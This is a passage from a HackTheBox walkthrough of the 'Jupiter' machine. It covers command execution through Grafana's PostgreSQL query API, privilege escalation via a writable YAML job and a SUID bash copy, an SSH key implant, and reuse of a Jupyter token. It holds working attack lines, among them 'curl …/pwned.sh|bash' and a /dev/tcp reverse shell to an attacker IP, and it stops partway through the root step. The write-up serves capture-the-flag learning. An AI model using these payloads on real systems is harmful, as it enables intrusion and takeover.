index-logo

Jupiter - HTB

walkthrough by elswix

Machine: Jupiter
Difficulty: Medium
Platform: HackTheBox
Release: Released on 06/03/2023


About Jupiter


Jupiter is a medium-difficulty machine on the HackTheBox platform. To start, we encounter a web service running Grafana in the background. Upon loading the main page, we notice POST requests being made to an endpoint that enables interaction with a database.


Shell as postgres


Because we can control the content of the POST request, we exploit a malicious query to execute system-level commands and gain access with a reverse shell.


Shell as juno


When listing tasks running at regular intervals, we observe that the user juno is executing a program with a file as an argument, a file which we, as Postgres, can modify. Modifying this file allows us to execute commands as juno. After copying /bin/bash to the /tmp directory and assigning it SUID privileges, we abuse the -p parameter to inherit the privileges and execute commands with juno's EUID. Ultimately, by exploiting SSH keys, we gain full access as the juno user.


Shell as jovian


As a user Juno, we belong to the science group. While listing processes running under the Jovian user, we notice the presence of jupyter-notebook. By checking the open ports, we find port 8888. This port is associated with an HTTP server running jupyter-notebook in the background. After examining some logs, we manage to access the service and create our own notebook to execute Python code and gain access to the system via a reverse shell.


Shell as root


The user Jovian has sudoer privileges to run a program as root. This program opens a file that we can modify, allowing us to abuse our sudoer privileges to read and write system files as the root user, ultimately gaining access to the root user.


Recon


First, we will run a port scan to discover open ports on the victim machine using the nmap tool:

elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.216 -oG portScan

Nmap scan report for 10.10.11.216
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Once the initial scan is complete, we will proceed with a second scan to identify the technologies and services running on the ports we've previously discovered.

Again, we will utilize the nmap tool:

elswix@kali$ nmap -sCV -p22,80 10.10.11.216 -oN fullScan

Nmap scan report for 10.10.11.216 (10.10.11.216)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_  256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.68 seconds
Thanks to this scan, we now have information about the services running on these ports.


Web Application


Since we can't access jupiter.htb we need to add it to our /etc/hosts file to resolve the domain to the victim's IP address.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.216 jupiter.htb
When we access the website through our browser, we encounter the following:



At this stage, there isn't much to do, so let's explore other avenues


Subdomain Enumeration


Using tools like ffuf or gobuster, we can conduct subdomain enumeration through a brute force attack. In my case, I will use ffuf for this scan:

elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://jupiter.htb/ -H "Host: FUZZ.jupiter.htb"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://jupiter.htb/
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.jupiter.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

webdisk                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 149ms]
localhost               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 149ms]
mail                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 148ms]
www                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
cpanel                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 153ms]
whm                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 153ms]
smtp                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
ns1                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
pop                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
webmail                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
ftp                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
autodiscover            [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 148ms]
test                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 148ms]
ns2                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 150ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
All the responses are consistently returning 178 characters, so I'm going to filter out that result.

elswix@kali$ ffuf -c --fs=178 -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://jupiter.htb/ -H "Host: FUZZ.jupiter.htb"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://jupiter.htb/
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.jupiter.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

kiosk                   [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 222ms]
:: Progress: [4989/4989] :: Job [1/1] :: 575 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
We've discovered the kiosk subdomain. Now, let's add this subdomain to our /etc/hosts file:

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.216 jupiter.htb kiosk.jupiter.htb
Now, if we attempt to access kiosk.jupiter.htb, we encounter the following:



Grafana is running behind the scenes. For those who may not be familiar with Grafana, it's an open-source platform used for real-time data visualization and monitoring. It enables the creation of interactive dashboards and graphs using data from various sources, including databases, cloud services, monitoring systems, and more. Grafana is extensively utilized in the realms of system administration and application monitoring to visualize data and performance metrics in a user-friendly and customizable manner.

Although we ran a Wappalyzer scan, it did not provide information about the specific version of Grafana in use, thus yielding no useful information.



When examining the requests made while accessing the site, one request stands out as particularly interesting:



POST requests are being sent to /api/ds/query. If we inspect the data we are sending, we can observe the following:



There is an SQL query, and it appears to be targeting a database endpoint of the API. This seems quite promising. After conducting some research online, I came across a method to execute commands in PostgreSQL. However, it's worth noting that this method only works if the server is running PostgreSQL version 9.3 to 11.2, as detailed in this article.

It's important to emphasize that this isn't a vulnerability by default, as command execution relies on the presence of a privilege (pg_execute_server_program) that must be manually assigned to the user. Nevertheless, if the privilege is active, and an attacker gains control over a user with this privilege, it could lead to command execution.

We can attempt to retrieve the PostgreSQL version by sending the following query:

select version();




It's running PostgreSQL version 14.8. Now, let's verify if the user can execute commands:

SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolconnlimit, r.rolvaliduntil, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1;


Upon examining the response, we ascertain that we have the ability to execute commands, as we possess the pg_execute_server_program privilege.



In order to execute commands, we need to begin by creating a table:

CREATE TABLE cmd_exec(cmd_output text);




Now, let's verify if we can execute commands. To do this, we'll start by listening with an HTTP server on port 80:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, let's send the following query:

COPY cmd_exec FROM PROGRAM 'curl 10.10.16.3';


If we monitor our listener, we can observe the request originating from the victim's machine:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [21/Oct/2023 21:27:55] "GET / HTTP/1.1" 200 -
Now, let's send a reverse shell to our machine. To achieve this, I will create a pwned.sh file with a one-liner for a Bash reverse shell:

elswix@kali$ cat pwned.sh
#!/bin/bash 
bash -i >& /dev/tcp/10.10.16.3/3001 0>&1
Our current approach is to send a GET request to our HTTP server, which we will host using Python, targeting the pwned.sh file and interpreting its contents using bash:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Let's set up our netcat listener on port 3001:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Now, using the following query, we will send the reverse shell:

COPY cmd_exec FROM PROGRAM 'curl 10.10.16.3/pwned.sh|bash';


Now, checking our listener, we've successfully received the reverse shell:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.216:56186.
bash: cannot set terminal process group (1570): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$
We have successfully accessed the system, now we will simply adjust the TTY to interact more comfortably with the system:

postgres@jupiter:/var/lib/postgresql/14/main$  script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@jupiter:/var/lib/postgresql/14/main$  ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
postgres@jupiter:/var/lib/postgresql/14/main$ export TERM=xterm
postgres@jupiter:/var/lib/postgresql/14/main$ export SHELL=/bin/bash
postgres@jupiter:/var/lib/postgresql/14/main$


Shell as juno


Let's begin with a basic system enumeration. First, we'll search for other users on the system:

postgres@jupiter:/var/lib/postgresql/14/main$ ls -l /home
total 8
drwxr-x--- 6 jovian jovian 4096 May  4 18:59 jovian
drwxr-x--- 8 juno   juno   4096 May  4 12:10 juno
postgres@jupiter:/var/lib/postgresql/14/main$
There are two users with home directories. Now, let's search for SUID files:

postgres@jupiter:/var/lib/postgresql/14/main$ find / -perm -4000 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount3
postgres@jupiter:/var/lib/postgresql/14/main$
There are no noteworthy SUID files to exploit. Now, let's examine the system's capabilities:

postgres@jupiter:/$ getcap -r / 2>/dev/null 
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
postgres@jupiter:/$
Nothing of interest found here.

Now, let's list tasks that are executed at regular intervals. For this purpose, we can utilize tools like pspy. I've downloaded a release version, specifically pspy64.

After uploading pspy to the victim machine, let's run it:

postgres@jupiter:/dev/shm$ ./pspy
After a short wait, I came across this:



Juno is running a binary that I can't access, and it is including a file in the /dev/shm directory. Upon examining network-simulation.yml, it's evident that commands specified in this file are being executed.

postgres@jupiter:/dev/shm$ cat network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s
postgres@jupiter:/dev/shm$
It's creating an HTTP server and making a curl request to server. Since I can modify this file, let's execute something as Juno:

postgres@jupiter:/dev/shm/privesc$ cat network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/touch
      args: /tmp/pwned
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s
postgres@jupiter:/dev/shm/privesc$
I modified the file and changed the command to execute /usr/bin/touch in order to create a file named pwned in the /tmp directory. Assuming it runs as Juno, the owner of the file should be Juno. After a minute, the pwned file was indeed created by Juno:

postgres@jupiter:/dev/shm/privesc$ ls -l /tmp
total 28
-rw-rw-r-- 1 juno juno    0 Oct 22 12:48 pwned
drwx------ 2 root root 4096 Oct 22 12:12 snap-private-tmp
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-grafana-server.service-dedBZv
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-ModemManager.service-ubZajL
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-systemd-logind.service-ipkoNs
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-systemd-resolved.service-pHMGzj
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-systemd-timesyncd.service-T5fLws
drwx------ 2 root root 4096 Oct 22 12:13 vmware-root_798-2999657446
postgres@jupiter:/dev/shm/privesc$
To escalate to Juno' I'll copy /bin/bash to /tmp/bash and set it with SUID privileges. Then, I will execute /tmp/bash -p to inherit its privileges.

I will add the following content to network-simulation.yml:

postgres@jupiter:/dev/shm/privesc$ cat network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: 4755 /tmp/bash
      start_time: 5s
postgres@jupiter:/dev/shm/privesc$
As you can see, it will first copy /bin/bash to /tmp/bash, and then it will grant 4755 privilege (Set-UID) to /tmp/bash. With the Set-UID flag set on /tmp/bash, I will be able to execute commands as Juno by exploiting the -p parameter.

postgres@jupiter:/dev/shm/privesc$ ls -l /tmp/bash
-rwsr-xr-x 1 juno juno 1396520 Oct 22 13:06 /tmp/bash
postgres@jupiter:/dev/shm/privesc$
It has been successfully copied and set with Set-UID. Now, let's execute it with the -p parameter:

postgres@jupiter:/dev/shm/privesc$ /tmp/bash -p
bash-5.1$ whoami
juno
bash-5.1$
We are now executing commands as Juno.

However, if we attempt to read user.txt, it indicates that we don't have access:

bash-5.1$ cat user.txt
cat: user.txt: Permission denied
bash-5.1$
This is because we are executing commands with Juno's EUID, and the user.txt flag is only accessible to the owner and the Juno group:

bash-5.1$ ls -l 
total 12
drwxrwxr-x 12 juno juno 4096 Mar  9  2023 shadow
-rwxrwxr-x  1 juno juno  174 Apr 14  2023 shadow-simulation.sh
-rw-r-----  1 root juno   33 Oct 22 12:13 user.txt
bash-5.1$
At this stage, we aren't truly Juno; we're merely executing commands with Juno's EUID, which is why we inherit some of its privileges.

bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
bash-5.1$
Our next step is to attempt to gain access as Juno. There are various techniques to achieve this, and in my case, I will work with SSH keys. I will copy the public key from my attacker's machine to the /home/juno/authorized_keys file. Once this is done, we can access the SSH service as the Juno user without the need to provide a password

bash-5.1$ echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMzYWcHjgBMlcgqOv9UTofEDod6OdJZkH4UR6d/U5nzupmuCpg2a59S+JggOPXomVzNfNeGs2Q0iYKnAYj7AiwFubzyKxBvgImoI6v6C8J7tJVBOMhBW2Hzy53fXw4gn5jjxl4wJ6hAZtCIhkgQNImLhkQYictkBLGZkl7k73sU1rzLNsePfqk9nxbJ7jWYG5G9n+HfDCpUi8MHj7Mty55ETIsGwU9Nq16wd4wenHPRYSSQhRC7YMsvuSYYO/teoCc9JjUNu0GfpeLW5kU6ZP/62IF2869EiLKLU1wVqVIN2hxizwqVl8q8zF8U/lBR6WoP+mXzC9KxnA8LJcz0zCfXdscVO8pHkNT0iyDk+za4EIoDWVbDcClcYBqpLEg/eqgZOOPLopm/aXY4TBtdP348NM8qMl/9uBAqFya4SAcBsR98x5j7KWGqXkS8eTZ/nlK7k+gwWSoajS4UHYpNDtx+QUcR6MExMYXN0SgJOXf0UZFLR4RFXj69PKh9gcYch0= @elswix@kali' > /home/juno/.ssh/authorized_keys
bash-5.1$
Now, if we attempt to connect to the victim machine as the Juno user via SSH:

elswix@kali$ ssh juno@10.10.11.216
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 22 01:15:54 PM UTC 2023

  System load:           0.0
  Usage of /:            81.3% of 12.33GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             235
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.216
  IPv6 address for eth0: dead:beef::250:56ff:feb9:af90


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jun  7 15:13:15 2023 from 10.10.14.23
juno@jupiter:~$
We have successfully gained access to the system as Juno. Running the id command confirms that we now possess all of Juno's privileges.

juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
juno@jupiter:~$
At this point, we can read the first flag:

juno@jupiter:~$ cat user.txt
74d4bab34e13d5117434b8de65f7ba5e
juno@jupiter:~$


Shell as jovian


As Juno, we are part of the science group, which is an uncommon group. Let's list the files owned by the science group:

juno@jupiter:~$ find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
juno@jupiter:~$
Upon examining the solar-flares directory, we notice that all these files are also owned by the Jovian user:

juno@jupiter:/opt/solar-flares$ ls -la
total 2608
drwxrwx--- 4 jovian science    4096 May  4 18:59 .
drwxr-xr-x 3 root   root       4096 May  4 18:59 ..
-rw-rw---- 1 jovian science  646164 Mar  8  2023 cflares.csv
-rw-rw---- 1 jovian science  708058 Mar  8  2023 flares.csv
-rw-rw---- 1 jovian science   10230 Mar  8  2023 flares.html
-rw-r----- 1 jovian science  234001 Mar  8  2023 flares.ipynb
drwxrwxr-x 2 jovian science    4096 May  4 18:59 .ipynb_checkpoints
drwxrwxr-t 2 jovian science    4096 Oct 22 12:12 logs
-rw-rw---- 1 jovian science 1010424 Mar  8  2023 map.jpg
-rw-rw---- 1 jovian science   26651 Mar  8  2023 mflares.csv
-rwxr-xr-x 1 jovian science     147 Mar  8  2023 start.sh
-rw-rw---- 1 jovian science    1992 Mar  8  2023 xflares.csv
juno@jupiter:/opt/solar-flares$
After inspecting the processes running under the Jovian user, I came across the following:

juno@jupiter:/opt/solar-flares$ ps -auxw | grep jovian | grep -v juno
jovian      1175  0.0  1.6  81344 66504 ?        S    12:12   0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
juno@jupiter:/opt/solar-flares$
Jovian is running jupyter-notebook. According to ChatGPT, Jupyter Notebook is an open-source web application that allows you to create and share interactive documents containing code, text, graphics, and results. It is widely used in fields such as data science, scientific research, education, and programming.

Checking the open ports, we observe that port 8888 is open. This appears to be a web service, so I'm going to set up port forwarding to access it through my browser. Port forwarding can be accomplished using SSH with the -L parameter:

elswix@kali$ ssh juno@10.10.11.216 -L 8888:127.0.0.1:8888
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 22 01:39:25 PM UTC 2023

  System load:           0.0205078125
  Usage of /:            81.3% of 12.33GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             237
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.216
  IPv6 address for eth0: dead:beef::250:56ff:feb9:af90


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Oct 22 13:15:55 2023 from 10.10.16.3
juno@jupiter:~$
Now, when I attempt to access localhost on port 8888, I encounter the following:



It is requesting a password or token, which we currently lack. While searching for the term token in the solar-flares directory, I discovered some intriguing values:

juno@jupiter:/opt/solar-flares$ grep -r token
The results are originating from the logs directory, as exemplified by:

juno@jupiter:/opt/solar-flares$ cat logs/jupyter-2023-03-09-59.log
[W 11:59:22.108 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 11:59:22.116 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 11:59:22.116 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 11:59:22.116 NotebookApp] http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
[I 11:59:22.116 NotebookApp]  or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
[I 11:59:22.116 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 11:59:22.120 NotebookApp] No web browser found: could not locate runnable browser.
[C 11:59:22.120 NotebookApp] 

    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-874-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
     or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
[C 12:10:52.740 NotebookApp] received signal 15, stopping
[I 12:10:52.740 NotebookApp] Shutting down 0 kernels
juno@jupiter:/opt/solar-flares$
I will attempt to use the token c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab on the website. Let's see if it works:



It seems the previous token didn't work, so there's nothing more we can do. However, after trying each one individually, the token af894b54c19a51d83d04cd69d9d205a975cafbd882d70971 did work, and the website redirected me to the next page:



While examining the Running section, I came across the following list of Jupyter running processes:



I clicked on flares.ipynb, and it redirected me to the next page:



Since this is running Python code, I'm going to create my own notebook:





Here, it's requesting Python code. Let's attempt to execute system-level commands. I will try to send a ping to my attacker machine:



Before running this command, I will set up an ICMP listener:

elswix@kali$ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Now, I will click Run:



It worked, and I received a ping from the victim machine:

elswix@kali$ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:57:44.057416 IP 10.10.11.216 > 10.10.16.3: ICMP echo request, id 2, seq 1, length 64
10:57:44.057488 IP 10.10.16.3 > 10.10.11.216: ICMP echo reply, id 2, seq 1, length 64
Now, I'm going to send myself a reverse shell, so I'll set up my netcat listener on port 3001:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
I will now execute the following command:



And I have successfully obtained a shell as the Jovian user:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.216:47250.
bash: cannot set terminal process group (3717): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jovian@jupiter:/opt/solar-flares$
jovian@jupiter:/opt/solar-flares$ whoami
whoami
jovian
jovian@jupiter:/opt/solar-flares$ id
id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:/opt/solar-flares$
Once again, let's adjust our TTY:

jovian@jupiter:/opt/solar-flares$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jovian@jupiter:/opt/solar-flares$ ^Z
zsh: suspended  nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset xterm
jovian@jupiter:/opt/solar-flares$ export TERM=xterm
jovian@jupiter:/opt/solar-flares$ export SHELL=/bin/bash
jovian@jupiter:/opt/solar-flares$


Shell as root


Upon listing the sudoers privileges of the Jovian user, we discover that he can execute the following as root without needing to provide a password:

jovian@jupiter:/opt/solar-flares$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack
jovian@jupiter:/opt/solar-flares$
After executing /usr/local/bin/sattrack as root, it returns the following error:

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
jovian@jupiter:/opt/solar-flares$
I believe it's attempting to open a configuration file. Before attempting to reverse-engineer this program, I will run it with strace since it's installed on the victim machine.

jovian@jupiter:/opt/solar-flares$ strace /usr/local/bin/sattrack


It's trying to open the /tmp/config.json file, but it doesn't exist.

jovian@jupiter:/opt/solar-flares$ cat /tmp/config.json
cat: /tmp/config.json: No such file or directory
jovian@jupiter:/opt/solar-flares$
Since the file doesn't exist, we'll need to find a way to create it. Sometimes, tools come with default configuration files. We can attempt to search the system for files with the name config.json:

jovian@jupiter:/opt/solar-flares$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
jovian@jupiter:/opt/solar-flares$
There is a path that appears to be related to sattrack. Listing its contents, we encounter the following:

jovian@jupiter:/opt/solar-flares$ cat /usr/local/share/sattrack/config.json
{
    "tleroot": "/tmp/tle/",
    "tlefile": "weather.txt",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",

    "tlesources": [
        "http://celestrak.org/NORAD/elements/weather.txt",
        "http://celestrak.org/NORAD/elements/noaa.txt",
        "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
    ],

    "updatePerdiod": 1000,

    "station": {
        "name": "LORCA",
        "lat": 37.6725,
        "lon": -1.5863,
        "hgt": 335.0
    },

    "show": [
    ],

    "columns": [
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
